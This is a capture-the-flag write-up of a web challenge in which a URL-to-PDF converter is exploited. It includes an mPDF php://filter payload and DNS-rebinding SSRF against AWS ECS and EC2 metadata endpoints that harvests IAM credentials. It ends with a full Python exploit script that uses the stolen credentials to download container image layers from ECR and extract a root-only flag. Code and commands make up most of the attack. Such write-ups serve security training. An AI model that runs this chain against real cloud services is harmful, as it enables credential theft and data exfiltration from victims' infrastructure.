【AIS3 Pre-Exam 2026 Writeup】Web - PDF-Converter
I started from the page source and the exposed files. No source bundle was given in this directory, so the HTML and phpinfo.php were the first things to read.
curl -i http://chals1.ais3.org:33333/
The page was a small URL-to-PDF form. It said the server fetches a public URL, normalizes the HTML, and makes a PDF with mpdf/mpdf.
The response headers were also useful.
Server: nginx/1.30.0
X-Powered-By: PHP/8.3.31
The form had two protections in front: reCAPTCHA, and a public-URL check. It also said private IP ranges, localhost, and credentialed URLs were blocked. So direct SSRF to metadata should fail.
Common files were next.
curl -i http://chals1.ais3.org:33333/phpinfo.php
phpinfo.php was open. That was much better than guessing.
Some useful values:
DOCUMENT_ROOT = /var/www/html/public
SCRIPT_FILENAME = /var/www/html/public/phpinfo.php
APACHE_RUN_USER = www-data
MPDF_TEMP_DIR = /tmp/mpdf
AWS_EXECUTION_ENV = AWS_ECS_EC2
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI = /v2/credentials/f51b875b-c690-4d20-a459-e34f77623aee
ECS_CONTAINER_METADATA_URI_V4 = http://169.254.170.2/v4/954ae12d-1935-42ee-9238-ec9ab7fbbd3c
ECS_AGENT_URI = http://169.254.170.2/api/954ae12d-1935-42ee-9238-ec9ab7fbbd3c
At first I still went into the mPDF direction. HTML-to-PDF bugs often become local file read. The flag was at /flag.txt, so that guess felt natural.
One simple payload idea:
<img src="././php://filter/convert.base64-encode/resource=/flag.txt" />
I also tried HITCON web2pdf style payloads with WMF/BMP/SVG and php://filter.
The server reached local asset handling, but it returned:
Local file assets are not allowed during PDF rendering.
No trigger there. Also the PHP user was www-data, and the challenge text said /flag.txt was root-only. Even if normal LFI worked, it probably would not read the file.
So the useful bug was more likely SSRF. /convert fetches my URL server-side and gives the result as PDF.
Direct metadata IP did not work:
http://169.254.170.2/...
http://169.254.169.254/...
The public-URL check blocked them.
The check looked DNS-based. I was not sure if the fetch reused the checked IP or resolved again, so DNS rebinding was worth testing.
1u.ms fit this test:
D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.170.2-rr.1u.ms"
This kind of name answers public IP first, then later answers the private/link-local IP. The validator sees 1.1.1.1. The renderer can later hit 169.254.170.2.
Each /convert request needed a fresh reCAPTCHA token. One token per metadata read.
The request shape:
curl -sS --max-time 180 \
-D /tmp/out.headers \
-o /tmp/out.pdf \
-X POST http://chals1.ais3.org:33333/convert \
--data-urlencode "url=$URL" \
--data-urlencode "g-recaptcha-response=$RECAPTCHA_TOKEN"
pdftotext /tmp/out.pdf -
strings -a /tmp/out.pdf | rg -i 'AccessKey|Role|flag|HTTP 422|captcha'
pdftotext was enough for normal PDF output. strings was useful when reCAPTCHA failed and the server returned HTML with HTTP 422 instead of a PDF.
The first metadata target came directly from phpinfo:
D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.170.2-rr.1u.ms"
URL="http://$D/v2/credentials/f51b875b-c690-4d20-a459-e34f77623aee"
The PDF contained AWS task role credentials.
{
"RoleArn": "arn:aws:iam::698387659318:role/url-to-pdf-task",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "<redacted>",
"Token": "<redacted>"
}
I tested them with boto3. sts:GetCallerIdentity worked, but useful APIs were denied. ECS describe, ECR, CloudWatch Logs, S3, and SSM were not enough from this role.
The task metadata URI was still useful.
D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.170.2-rr.1u.ms"
URL="http://$D/v4/954ae12d-1935-42ee-9238-ec9ab7fbbd3c/task"
Important fields from the PDF:
{
"Cluster": "url-to-pdf",
"TaskARN": "arn:aws:ecs:us-east-1:698387659318:task/url-topdf/f3845ad17dd5447cb99749deea1cb52a",
"Family": "url-to-pdf",
"Revision": "16",
"LaunchType": "EC2",
"Containers": [
{
"Name": "app",
"DockerId": "d79e0e0b8ee873ef0771328287c56e4cc6bcb06ea4f5447709dcc8fb24a62cc0",
"Image": "698387659318.dkr.ecr.us-east-1.amazonaws.com/url-topdf:dev-20260512143451",
"ImageID": "sha256:5ef5118975f22308968b6570015f05e5aebbac19bba5e734dfae336c0baf7abc",
"NetworkMode": "host"
}
]
}
LaunchType was EC2, not Fargate. The container also used host network. That made me try EC2 IMDS at 169.254.169.254.
First I listed the instance profile role:
D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.169.254-rr.1u.ms"
URL="http://$D/latest/meta-data/iam/security-credentials/"
The PDF text was:
url-to-pdf-ecs-instance
Next request used another token:
D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.169.254-rr.1u.ms"
URL="http://$D/latest/meta-data/iam/security-credentials/url-to-pdf-ecs-instance"
The result was normal IMDS credentials:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "<redacted>",
"Token": "<redacted>",
"Expiration": "2026-05-17T03:49:46Z"
}
The identity:
arn:aws:sts::698387659318:assumed-role/url-to-pdf-ecs-instance/i-0cb378e4239635d60
This role was also not wide open. ECS, Logs, SSM, and EC2 describe were denied. But ecr:GetAuthorizationToken worked. That matched the ECS-on-EC2 setup, because the host needs to pull images.
The image name in metadata was:
698387659318.dkr.ecr.us-east-1.amazonaws.com/url-topdf:dev-20260512143451
url-topdf gave RepositoryNotFoundException. I tried url-to-pdf next because the family and cluster used that spelling. That repo worked with the same tag.
resp = ecr.batch_get_image(
repositoryName="url-to-pdf",
imageIds=[{"imageTag": "dev-20260512143451"}],
acceptedMediaTypes=[
"application/vnd.docker.distribution.manifest.v2+json",
"application/vnd.oci.image.manifest.v1+json",
],
)
The manifest digest:
sha256:f2c4b9bfbcafd0dac2ed288dc1dc455c4f373889254d9eb1f5626c3eeddfd1f6
There were 28 layers.
The flag was not read through PHP. I downloaded the ECR layers and opened them as tar files. That bypasses the runtime root-only file permission, because image layers are just filesystem diff archives.
Full exploit script:
#!/usr/bin/env python3
import gzip
import json
import re
import shutil
import subprocess
import sys
import time
import tarfile
import urllib.request
from pathlib import Path
import boto3
BASE = "http://chals1.ais3.org:33333"
ECS_METADATA_ID = "954ae12d-1935-42ee-9238-ec9ab7fbbd3c"
def rebind(ip):
return f"u{time.time_ns()}-make-1.1.1.1-rebindfor30safter2times-{ip}-rr.1u.ms"
def convert(url, token, name):
pdf = Path(f"/tmp/{name}.pdf")
subprocess.run(
[
"curl",
"-sS",
"--max-time",
"180",
"-o",
str(pdf),
"-X",
"POST",
f"{BASE}/convert",
"--data-urlencode",
f"url={url}",
"--data-urlencode",
f"g-recaptcha-response={token}",
],
check=True,
)
text = subprocess.check_output(
["pdftotext", str(pdf), "-"],
stderr=subprocess.DEVNULL,
).decode(errors="replace")
if "HTTP 422" in text or "reCAPTCHA" in text:
raise RuntimeError(f"{name}: bad or expired reCAPTCHA token")
return text.replace("\f", "")
def field(text, name):
m = re.search(rf'"{re.escape(name)}"\s*:\s*"([\s\S]*?)"\s*(?:,|}})', text)
if not m:
raise RuntimeError(f"missing field {name}")
return re.sub(r"\s+", "", m.group(1))
def get_task_metadata(token):
url = f"http://{rebind('169.254.170.2')}/v4/{ECS_METADATA_ID}/task"
text = convert(url, token, "taskmeta")
image = re.search(r'"Image"\s*:\s*"([^"]+)"', text).group(1)
return image
def get_instance_creds(role_token, creds_token):
role_url = (
f"http://{rebind('169.254.169.254')}"
"/latest/meta-data/iam/security-credentials/"
)
role_text = convert(role_url, role_token, "imds-role")
role = role_text.strip().split()[0]
creds_url = (
f"http://{rebind('169.254.169.254')}"
f"/latest/meta-data/iam/security-credentials/{role}"
)
creds_text = convert(creds_url, creds_token, "imds-creds")
return {
"aws_access_key_id": field(creds_text, "AccessKeyId"),
"aws_secret_access_key": field(creds_text, "SecretAccessKey"),
"aws_session_token": field(creds_text, "Token"),
}
def find_manifest(ecr, image):
registry, rest = image.split("/", 1)
repo_from_meta, tag = rest.rsplit(":", 1)
candidates = [repo_from_meta]
if repo_from_meta == "url-topdf":
candidates.append("url-to-pdf")
candidates.append("url-to-pdf")
last_error = None
for repo in dict.fromkeys(candidates):
try:
resp = ecr.batch_get_image(
repositoryName=repo,
imageIds=[{"imageTag": tag}],
acceptedMediaTypes=[
"application/vnd.docker.distribution.manifest.v2+json",
"application/vnd.oci.image.manifest.v1+json",
],
)
manifest = json.loads(resp["images"][0]["imageManifest"])
return repo, tag, manifest
except Exception as exc:
last_error = exc
raise last_error
def scan_layers(ecr, repo, manifest):
out = Path("/tmp/ecr-url-to-pdf")
out.mkdir(exist_ok=True)
for i, layer in enumerate(manifest["layers"]):
digest = layer["digest"]
_, hex_digest = digest.split(":", 1)
layer_path = out / f"layer-{i:02d}-{hex_digest[:12]}.tar.gz"
if not layer_path.exists():
url = ecr.get_download_url_for_layer(
repositoryName=repo,
layerDigest=digest,
)["downloadUrl"]
tmp = layer_path.with_suffix(".tmp")
with urllib.request.urlopen(url, timeout=120) as r, tmp.open("wb") as f:
shutil.copyfileobj(r, f, length=1024 * 1024)
tmp.replace(layer_path)
with gzip.open(layer_path, "rb") as gz:
with tarfile.open(fileobj=gz, mode="r:*") as tar:
for member in tar:
name = member.name.lstrip("./")
if name == "flag.txt" or name.endswith("/flag.txt"):
f = tar.extractfile(member)
print(f"layer {i}")
print(digest)
print(f.read().decode(), end="")
return
raise RuntimeError("flag.txt not found")
def main():
if len(sys.argv) != 4:
print(f"usage: {sys.argv[0]} <taskmeta-token> <role-token> <creds-token>")
raise SystemExit(1)
task_token, role_token, creds_token = sys.argv[1:]
image = get_task_metadata(task_token)
creds = get_instance_creds(role_token, creds_token)
ecr = boto3.client("ecr", region_name="us-east-1", **creds)
repo, tag, manifest = find_manifest(ecr, image)
print(f"repo={repo} tag={tag} layers={len(manifest['layers'])}")
scan_layers(ecr, repo, manifest)
if __name__ == "__main__":
main()
Run it with three fresh reCAPTCHA tokens:
python3 solve_urltopdf.py "$TOKEN_TASKMETA" "$TOKEN_ROLE" "$TOKEN_CREDS"
The layer scan found:
layer 21
sha256:0c512a375eb1cb0abaa04701391dae405779630f04e5204aeae42ea2ce81031e
Flag:
AIS3{RJ12_4d4641c13f0d9d6580f56933d534757633bee278892cb6120531edba3f2010d4}